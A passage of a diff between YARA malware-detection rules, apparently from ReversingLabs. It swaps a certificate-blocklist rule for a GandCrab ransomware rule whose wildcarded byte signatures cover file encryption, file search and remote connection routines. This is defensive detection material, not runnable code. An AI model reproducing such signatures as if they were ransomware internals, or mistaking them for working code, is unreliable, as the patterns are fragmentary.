?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 8D 85 ?? ?? ?? ?? 50 + 6A ?? 6A ?? FF 75 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 8B 5D ?? 85 DB + 74 ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? 50 8B 5D ?? 85 DB 74 ?? 53 E8 ?? ?? ?? ?? + 83 C4 ?? 58 89 45 ?? 68 ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 83 F8 ?? 0F 84 + ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 83 F8 ?? 0F 84 ?? ?? ?? + ?? 68 ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? B8 ?? + ?? ?? ?? EB ?? B8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? 8B 5D + ?? FF 33 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? + 8B 5D ?? 85 DB 74 ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 6A ?? 6A ?? 6A + ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 8B 45 ?? 50 8B 5D ?? 85 DB 74 ?? + 53 E8 ?? ?? ?? ?? 83 C4 ?? 58 89 45 ?? E9 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B 5D ?? FF 33 + } + $search_files_p2 = { + B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 8D 85 ?? ?? ?? ?? 50 6A ?? 68 ?? ?? + ?? ?? FF 75 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 8B 5D ?? 85 DB 74 ?? + 53 E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? 50 8B 5D ?? 85 DB 74 ?? 53 E8 ?? ?? ?? ?? 83 C4 + ?? 58 89 45 ?? 68 ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 83 F8 ?? 0F 84 ?? ?? + ?? ?? 68 ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 68 + ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? B8 ?? ?? ?? + ?? EB ?? B8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? 8B 5D ?? FF + 33 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? 8B 5D + ?? 85 DB 74 ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 6A ?? 68 ?? ?? ?? ?? + 6A ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 8B 45 ?? 50 8B 5D ?? 85 DB 74 + ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 58 89 45 ?? E9 ?? ?? ?? ?? FF 75 ?? B8 ?? ?? ?? ?? E8 + ?? ?? ?? ?? 83 C4 ?? 8B 5D ?? 85 DB 74 ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 8B E5 5D C2 + } + $encrypt_files = { + 55 8B EC 81 EC ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 8B 5D ?? 8B 03 + 85 C0 75 ?? B8 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? BB ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? + 89 45 ?? 8B 45 ?? 50 8B 5D ?? 85 DB 74 ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 58 89 45 ?? 68 + ?? ?? ?? ?? 6A ?? 8B 5D ?? 8B 03 85 C0 75 ?? B8 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? BB ?? + ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? FF 75 ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B 5D ?? FF + 33 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? + ?? 68 ?? ?? ?? ?? BB ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? FF 75 ?? 68 ?? ?? + ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 8B 5D ?? 85 DB 74 ?? 53 E8 ?? + ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 8B 45 ?? + 85 C0 75 ?? B8 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 6A ?? 8B 45 ?? 85 C0 75 ?? B8 ?? ?? ?? + ?? 50 68 ?? ?? ?? ?? BB ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? + 8B 5D ?? 85 DB 74 ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 6A ?? 8B 45 ?? 85 C0 + 75 ?? B8 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 6A ?? 8B 45 ?? 85 C0 75 ?? B8 ?? ?? ?? ?? 50 + 68 ?? ?? ?? ?? BB ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B 5D ?? 85 DB 74 ?? 53 E8 ?? + ?? ?? ?? 83 C4 ?? 8B 5D ?? 85 DB 74 ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 8B 5D ?? 85 DB 74 + ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 8B E5 5D C2 + } + $main_routine = { + 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? BB ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 + ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? 8B 5D ?? 85 DB 74 ?? 53 E8 + ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? BB ?? ?? ?? + ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? 8B 5D + ?? 85 DB 74 ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? + ?? ?? ?? BB ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 8D 45 ?? 50 + E8 ?? ?? ?? ?? 8B 5D ?? 85 DB 74 ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? B8 ?? ?? ?? ?? 89 45 + ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? 8B 5D ?? 85 DB 74 ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? + ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? BB ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? + 89 45 ?? 68 ?? ?? ?? ?? 6A ?? 8B 45 ?? 85 C0 75 ?? B8 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? + 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? BB ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B 5D ?? + 85 DB 74 ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? + ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? BB ?? ?? ?? ?? E8 ?? ?? + ?? ?? 83 C4 ?? B8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B E5 5D C3 + } condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Open Source Developer, Tony Yeh" and pe.signatures [ i ] . serial == "08:60:c8:a7:ed:18:c3:f0:30:a3:27:22:fd:2b:22:0c" and 1404172799 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( $main_routine ) and ( all of ( $search_files_p* ) ) and ( $encrypt_files ) } - -rule REVERSINGLABS_Cert_Blocklist_2Fdadd0740572270203F8138692C4A83 : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_Gandcrab : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects GandCrab ransomware." author = "ReversingLabs" - id = "0b289c4e-c564-5513-a1a5-42e8551c6218" - date = "2020-08-05" - modified = "2023-11-08" + id = "a09ed7e6-f3a6-5f44-9d5b-a9c529cf1190" + date = "2020-06-26" + modified = "2020-07-15" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L1600-L1616" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.GandCrab.yara#L1-L892" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "18ce7ed721a454c5bb3cd6ab26df703b1e08b94b8c518055feffa38ad42afa50" + logic_hash = "79381635681482fc90defe4e10e97bf16d534837518fc06ae579822e9d77b461" score = 75 - quality = 90 - tags = "INFO, FILE" + quality = 88 + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "GandCrab" + tc_detection_factor = 5 importance = 25 + strings: + $remote_connection = { + 55 8B EC 81 EC ?? ?? ?? ?? 53 56 57 8B F9 89 55 ?? 8D 4D ?? E8 ?? ?? ?? ?? 6A ?? 68 + ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? FF 15 ?? ?? ?? ?? 8B D8 89 5D ?? 85 DB 74 ?? 33 C0 + 83 F8 ?? 75 ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B CB E8 ?? ?? ?? ?? 83 F8 ?? 74 ?? + 57 FF 15 ?? ?? ?? ?? 8D 4D ?? 8D 34 45 ?? ?? ?? ?? 8D 46 ?? 50 E8 ?? ?? ?? ?? 68 ?? + ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 56 8D 4D ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 4D ?? + 8B D8 E8 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 68 ?? ?? ?? ?? 53 89 45 ?? FF D6 57 53 FF D6 + 6A ?? 59 BE ?? ?? ?? ?? 8D BD ?? ?? ?? ?? F3 A5 8B 35 ?? ?? ?? ?? 53 FF D6 33 FF 8D + 85 ?? ?? ?? ?? 21 BD ?? ?? ?? ?? 68 ?? ?? ?? ?? 57 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 + ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D + 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 83 EC ?? + FF 75 ?? 53 FF D6 8B 75 ?? 8D 4D ?? 50 53 8D 85 ?? ?? ?? ?? 50 56 E8 ?? ?? ?? ?? 85 + C0 74 ?? 47 83 7D ?? ?? 74 ?? 8B 4D ?? 8D 55 ?? 83 65 ?? ?? E8 ?? ?? ?? ?? 85 C0 74 + ?? 8B 45 ?? 85 C0 74 ?? 8B 4D ?? 89 01 EB ?? 33 FF 68 ?? ?? ?? ?? 6A ?? 56 FF 15 ?? + ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 83 7D ?? ?? 74 ?? FF 75 ?? + FF 15 ?? ?? ?? ?? 8B C7 5F 5E 5B 8B E5 5D C3 + } + $remote_connection_v2 = { + 55 8B EC 83 EC ?? 53 56 8B D9 89 55 ?? 57 8D 4D ?? 89 5D ?? E8 ?? ?? ?? ?? E8 ?? ?? + ?? ?? 53 89 45 ?? FF 15 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 3C 45 + ?? ?? ?? ?? 8D 47 ?? 50 6A ?? FF D6 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 8B D8 + FF D6 89 45 ?? 85 DB 74 ?? 8D 47 ?? 3B F8 73 ?? 8B F3 EB ?? 33 F6 FF 75 ?? 56 FF 15 + ?? ?? ?? ?? F3 0F 6F 05 ?? ?? ?? ?? 56 F3 0F 7F 45 ?? F3 0F 6F 05 ?? ?? ?? ?? F3 0F + 7F 45 ?? F3 0F 6F 05 ?? ?? ?? ?? F3 0F 7F 45 ?? F3 0F 6F 05 ?? ?? ?? ?? F3 0F 7F 45 + ?? F3 0F 6F 05 ?? ?? ?? ?? F3 0F 7F 45 ?? F3 0F 6F 05 ?? ?? ?? ?? F3 0F 7F 45 ?? FF + 15 ?? ?? ?? ?? 8D 45 ?? 33 FF 50 FF 15 ?? ?? ?? ?? 50 8D 45 ?? 50 68 ?? ?? ?? ?? 83 + EC ?? 68 ?? ?? ?? ?? FF 75 ?? 56 FF 15 ?? ?? ?? ?? 50 56 8B 75 ?? 8D 4D ?? 68 ?? ?? + ?? ?? 56 E8 ?? ?? ?? ?? 85 C0 74 ?? 83 7D ?? ?? BF ?? ?? ?? ?? 74 ?? 8B 4D ?? 8D 55 + ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 74 ?? 8B 45 ?? 85 C0 74 ?? 8B 4D ?? 89 + 01 EB ?? 33 FF 68 ?? ?? ?? ?? 6A ?? 56 8B 35 ?? ?? ?? ?? FF D6 68 ?? ?? ?? ?? 6A ?? + FF 75 ?? FF D6 68 ?? ?? ?? ?? 6A ?? 53 FF D6 8B 45 ?? 85 C0 74 ?? 50 FF 15 ?? ?? ?? + ?? 8B C7 5F 5E 5B 8B E5 5D C3 + } + $crypt_files = { + 55 8B EC 83 E4 ?? 81 EC ?? ?? ?? ?? 53 56 57 51 33 C0 89 4C 24 ?? 40 8B DA 50 51 50 + 83 EC ?? 89 5C 24 ?? 50 51 50 51 50 51 50 51 50 83 EC ?? 50 51 50 8D 8C 24 ?? ?? ?? + ?? E8 ?? ?? ?? ?? 8D 4C 24 ?? E8 ?? ?? ?? ?? 8D 4C 24 ?? E8 ?? ?? ?? ?? 8B 75 ?? 8B + F8 03 F3 8D 4E ?? 8D 0C CF C1 E1 ?? 51 8D 4C 24 ?? E8 ?? ?? ?? ?? 8D 04 B7 8D 04 C5 + ?? ?? ?? ?? 50 8D 4C 24 ?? E8 ?? ?? ?? ?? 8B 75 ?? 89 44 24 ?? 8D 0C F5 ?? ?? ?? ?? + 51 8D 4C 24 ?? E8 ?? ?? ?? ?? 8D 0C DD ?? ?? ?? ?? 8B F8 51 8D 4C 24 ?? E8 ?? ?? ?? + ?? 8B D8 89 5C 24 ?? 85 FF 0F 84 ?? ?? ?? ?? 8D 44 24 ?? 50 57 68 ?? ?? ?? ?? 56 FF + 75 ?? 8D 0C 36 8B 35 ?? ?? ?? ?? 89 4C 24 ?? FF D6 8B 4C 24 ?? 8D 04 09 89 44 24 ?? + 8D 44 24 ?? 50 53 68 ?? ?? ?? ?? 51 FF 74 24 ?? FF D6 53 8B 1D ?? ?? ?? ?? FF D3 57 + 8B F0 FF D3 83 C0 ?? 8D 4C 24 ?? 03 C6 50 E8 ?? ?? ?? ?? 57 FF D3 40 8D 4C 24 ?? 50 + E8 ?? ?? ?? ?? FF 74 24 ?? 89 44 24 ?? FF D3 40 8D 4C 24 ?? 50 E8 ?? ?? ?? ?? 33 F6 + 89 44 24 ?? 8B CE 57 89 4C 24 ?? FF D3 85 C0 74 ?? 8B 54 24 ?? 89 54 24 ?? 8B 44 24 + ?? 8A 0C 38 80 F9 ?? 74 ?? 80 F9 ?? 74 ?? 88 0A 42 89 54 24 ?? 40 57 89 44 24 ?? FF + D3 8B 4C 24 ?? 8B 54 24 ?? 3B C8 72 ?? 8B 7C 24 ?? 57 FF D3 85 C0 74 ?? 8B 4C 24 ?? + 89 4C 24 ?? 8A 04 3E 3C ?? 74 ?? 3C ?? 74 ?? 88 01 41 89 4C 24 ?? 57 46 FF D3 8B 4C + 24 ?? 3B F0 72 ?? 8B 7C 24 ?? 8B 1D ?? ?? ?? ?? 68 ?? ?? ?? ?? 57 FF D3 8B 35 ?? ?? + ?? ?? 57 FF D6 8D 4C 24 ?? 8D 3C 47 57 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 57 FF D3 57 FF + D6 FF 74 24 ?? 8D 34 47 FF 15 ?? ?? ?? ?? 50 56 6A ?? FF 74 24 ?? 6A ?? 68 ?? ?? ?? + ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 57 FF D3 57 FF 15 ?? ?? ?? ?? FF 74 24 ?? 8D 34 + 47 FF 15 ?? ?? ?? ?? 50 56 6A ?? FF 74 24 ?? 6A ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? + 68 ?? ?? ?? ?? 57 FF D3 8B 74 24 ?? 8B 1D ?? ?? ?? ?? 56 FF D3 C1 E0 ?? 8D 4C 24 ?? + 83 C0 ?? 50 E8 ?? ?? ?? ?? 56 FF D3 8D 4C 24 ?? 8D 04 C5 ?? ?? ?? ?? 50 E8 ?? ?? ?? + ?? 56 89 44 24 ?? FF D3 8B 5C 24 ?? 8B F0 8B CB 8D 3C 36 8B D7 E8 ?? ?? ?? ?? 8D 44 + 24 ?? 8B CE 8B 74 24 ?? 50 56 68 ?? ?? ?? ?? 57 C1 E1 ?? 53 89 4C 24 ?? FF 15 ?? ?? + ?? ?? 85 C0 75 ?? FF 15 ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 56 FF D3 83 C0 ?? 8D 4C 24 ?? + 50 E8 ?? ?? ?? ?? 56 FF D3 40 8D 4C 24 ?? 50 E8 ?? ?? ?? ?? 89 44 24 ?? 33 F6 8B 44 + 24 ?? 8B FE 50 FF D3 85 C0 74 ?? 8B 54 24 ?? 89 54 24 ?? 8B 44 24 ?? 8A 0C 07 80 F9 + ?? 74 ?? 80 F9 ?? 74 ?? 88 0A 42 89 54 24 ?? 50 47 FF D3 8B 54 24 ?? 3B F8 72 ?? 8B + 7C 24 ?? 57 FF D3 50 FF 74 24 ?? 6A ?? 57 56 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 6A ?? + 8D 54 24 ?? 89 74 24 ?? 8B CF E8 ?? ?? ?? ?? 59 85 C0 75 ?? 8D 4C 24 ?? E8 ?? ?? ?? + ?? 8D 4C 24 ?? E8 ?? ?? ?? ?? 8D 4C 24 ?? E8 ?? ?? ?? ?? EB ?? 8B 4C 24 ?? 85 C9 74 + ?? 8B 45 ?? 89 08 8D 4C 24 ?? E8 ?? ?? ?? ?? 8D 4C 24 ?? E8 ?? ?? ?? ?? 8D 4C 24 ?? + E8 ?? ?? ?? ?? 33 F6 46 8D 4C 24 ?? E8 ?? ?? ?? ?? 8D 4C 24 ?? E8 ?? ?? ?? ?? 5F 8B + C6 5E 5B 8B E5 5D C3 + } + $crypt_files_v2 = { + 8B 55 ?? 8B 1D ?? ?? ?? ?? 8D 04 12 89 44 24 ?? 8D 44 24 ?? 50 51 68 ?? ?? ?? ?? 52 + FF 75 ?? FF D3 8D 04 36 89 44 24 ?? 8D 44 24 ?? 50 57 68 ?? ?? ?? ?? 56 FF 74 24 ?? + FF D3 8B 1D ?? ?? ?? ?? 57 FF D3 FF 74 24 ?? 8B F0 FF D3 6A ?? 83 C0 ?? 68 ?? ?? ?? + ?? 03 F0 56 6A ?? FF 15 ?? ?? ?? ?? FF 74 24 ?? 89 44 24 ?? 89 44 24 ?? C7 44 24 ?? + ?? ?? ?? ?? FF D3 8B 54 24 ?? 40 85 D2 74 ?? 3B C6 73 ?? 8D 0C 02 89 44 24 ?? 89 4C + 24 ?? 89 54 24 ?? EB ?? C7 44 24 ?? ?? ?? ?? ?? 57 FF D3 40 83 7C 24 ?? ?? 74 ?? 03 + 44 24 ?? 3B C6 72 ?? C7 44 24 ?? ?? ?? ?? ?? FF 74 24 ?? 33 F6 FF D3 85 C0 74 ?? 8B + 7C 24 ?? EB ?? 8D 9B ?? ?? ?? ?? 8B 4C 24 ?? 8A 04 0E 3C ?? 74 ?? 3C ?? 74 ?? 88 07 + 47 51 46 FF D3 3B F0 72 ?? 8B 7C 24 ?? 57 33 F6 FF D3 85 C0 74 ?? 8B 4C 24 ?? 89 4C + 24 ?? 90 8A 04 3E 3C ?? 74 ?? 3C ?? 74 ?? 88 01 41 89 4C 24 ?? 57 46 FF D3 8B 4C 24 + ?? 3B F0 72 ?? 8B 74 24 ?? 8B 3D ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 FF D7 56 FF 15 ?? ?? + ?? ?? 8D 4C 24 ?? 8D 34 46 56 89 74 24 ?? E8 ?? ?? ?? ?? 8D 54 24 ?? C7 44 24 ?? ?? + ?? ?? ?? 8D 4C 24 ?? C7 44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 75 ?? 50 FF 15 ?? + ?? ?? ?? 68 ?? ?? ?? ?? 56 FF D7 8B 7C 24 ?? 57 56 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? + 56 FF 15 ?? ?? ?? ?? 8B 74 24 ?? 56 FF 74 24 ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A + ?? 57 8B 3D ?? ?? ?? ?? FF D7 68 ?? ?? ?? ?? 6A ?? 56 FF D7 8B 74 24 ?? 68 ?? ?? ?? + ?? 56 FF 15 ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 56 FF D7 FF 74 24 ?? 8D 34 46 FF D3 50 56 + 6A ?? FF 74 24 ?? 6A ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 74 24 ?? 68 ?? ?? ?? ?? + 56 FF 15 ?? ?? ?? ?? 56 FF D7 8B 7C 24 ?? 57 8D 34 46 FF D3 50 56 6A ?? 57 6A ?? 68 + ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 74 24 ?? FF 15 ?? ?? ?? ?? FF 74 24 + ?? 8B 35 ?? ?? ?? ?? FF D6 8B F8 6A ?? C1 E7 ?? 68 ?? ?? ?? ?? 83 C7 ?? 57 6A ?? FF + 15 ?? ?? ?? ?? FF 74 24 ?? 89 44 24 ?? FF D6 8D 0C C5 ?? ?? ?? ?? 8B 44 24 ?? 85 C0 + 74 ?? 3B CF 73 ?? 8B F8 EB ?? 33 FF FF 74 24 ?? FF D6 8B 0D ?? ?? ?? ?? 89 44 24 ?? + 85 C9 74 ?? 68 ?? ?? ?? ?? 6A ?? 51 FF 15 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? + ?? ?? FF D6 83 C0 ?? 50 6A ?? FF 15 ?? ?? ?? ?? A3 ?? ?? ?? ?? 85 C0 74 ?? 68 ?? ?? + ?? ?? 68 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 83 C4 ?? 8B 44 24 ?? 8B 4C 24 ?? 8D 34 00 + 8B D6 E8 ?? ?? ?? ?? 8B 4C 24 ?? 8D 04 CD ?? ?? ?? ?? 89 44 24 ?? 8D 44 24 ?? 50 57 + 68 ?? ?? ?? ?? 56 FF 74 24 ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? FF 15 ?? ?? ?? ?? 57 FF + D3 6A ?? 68 ?? ?? ?? ?? 8D 70 ?? 56 6A ?? FF 15 ?? ?? ?? ?? 57 89 44 24 ?? FF D3 8D + 48 ?? 8B 44 24 ?? 85 C0 74 ?? 89 44 24 ?? 3B CE 72 ?? C7 44 24 ?? ?? ?? ?? ?? 57 33 + F6 FF D3 85 C0 74 ?? 8B 4C 24 ?? 89 4C 24 ?? 8A 04 3E 3C ?? 74 ?? 3C ?? 74 ?? 88 01 + 41 89 4C 24 ?? 57 46 FF D3 8B 4C 24 ?? 3B F0 72 ?? 8B 74 24 ?? 56 FF D3 50 FF 74 24 + ?? 6A ?? 56 6A ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 6A ?? 51 8D 54 24 ?? C7 44 24 ?? + ?? ?? ?? ?? 8B CE E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 8B 1D ?? ?? ?? ?? 68 ?? ?? ?? + ?? 50 8B 44 24 ?? 50 FF D3 8B 44 24 ?? 68 ?? ?? ?? ?? 6A ?? 50 FF D3 68 ?? ?? ?? ?? + 6A ?? FF 74 24 ?? FF D3 68 ?? ?? ?? ?? 6A ?? FF 74 24 ?? FF D3 8D 4C 24 ?? E8 ?? ?? + ?? ?? 33 C0 5F 5E 5B 8B E5 5D C3 + } + $find_files = { + 55 8B EC 81 EC ?? ?? ?? ?? 53 56 57 89 55 ?? 8B F9 E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? + ?? ?? 8B CF E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? + ?? 68 ?? ?? ?? ?? 57 8D 1C 47 89 5D ?? FF 15 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 57 FF + 15 ?? ?? ?? ?? 8B F0 33 C0 89 75 ?? 66 89 03 83 FE ?? 75 ?? B8 ?? ?? ?? ?? E9 ?? ?? + ?? ?? 8B 5D ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? + ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8D 85 ?? + ?? ?? ?? 50 57 FF 15 ?? ?? ?? ?? F6 85 ?? ?? ?? ?? ?? 74 ?? 68 ?? ?? ?? ?? 57 FF 15 + ?? ?? ?? ?? 8B 55 ?? 8B CF 53 FF 75 ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? EB ?? FF 75 + ?? 8B 03 8D 95 ?? ?? ?? ?? 8B 73 ?? 51 8B CF 89 45 ?? E8 ?? ?? ?? ?? 01 03 59 11 53 + ?? 59 3B 73 ?? 77 ?? 72 ?? 8B 45 ?? 3B 03 73 ?? 8B 45 ?? FF 00 8B 75 ?? 8B 45 ?? 33 + C9 66 89 08 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 56 FF + 15 ?? ?? ?? ?? 33 C0 5F 5E 5B 8B E5 5D C3 + } + $find_files_v2 = { + 55 8B EC 81 EC ?? ?? ?? ?? 53 56 57 89 55 ?? 8B F9 E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? + ?? ?? 8B CF E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? + ?? 8B 35 ?? ?? ?? ?? 68 ?? ?? ?? ?? 57 8D 1C 47 89 5D ?? FF D6 8D 85 ?? ?? ?? ?? 50 + 57 FF 15 ?? ?? ?? ?? 33 C9 89 45 ?? 66 89 0B 83 F8 ?? 75 ?? B8 ?? ?? ?? ?? 5F 5E 5B + 8B E5 5D C3 8B 5D ?? EB ?? 8D A4 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 + FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 15 + ?? ?? ?? ?? 85 C0 74 ?? 8D 85 ?? ?? ?? ?? 50 57 FF D6 F6 85 ?? ?? ?? ?? ?? 74 ?? 68 + ?? ?? ?? ?? 57 FF D6 8B 55 ?? 8B CF 53 FF 75 ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? EB + ?? FF 75 ?? 8B 03 8D 95 ?? ?? ?? ?? 8B 73 ?? 51 8B CF 89 45 ?? E8 ?? ?? ?? ?? 83 C4 + ?? 01 03 11 53 ?? 3B 73 ?? 77 ?? 72 ?? 8B 45 ?? 3B 03 73 ?? 8B 45 ?? FF 00 8B 35 ?? + ?? ?? ?? 8B 45 ?? 33 C9 66 89 08 8D 85 ?? ?? ?? ?? 50 FF 75 ?? FF 15 ?? ?? ?? ?? 85 + C0 0F 85 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? 5F 5E 33 C0 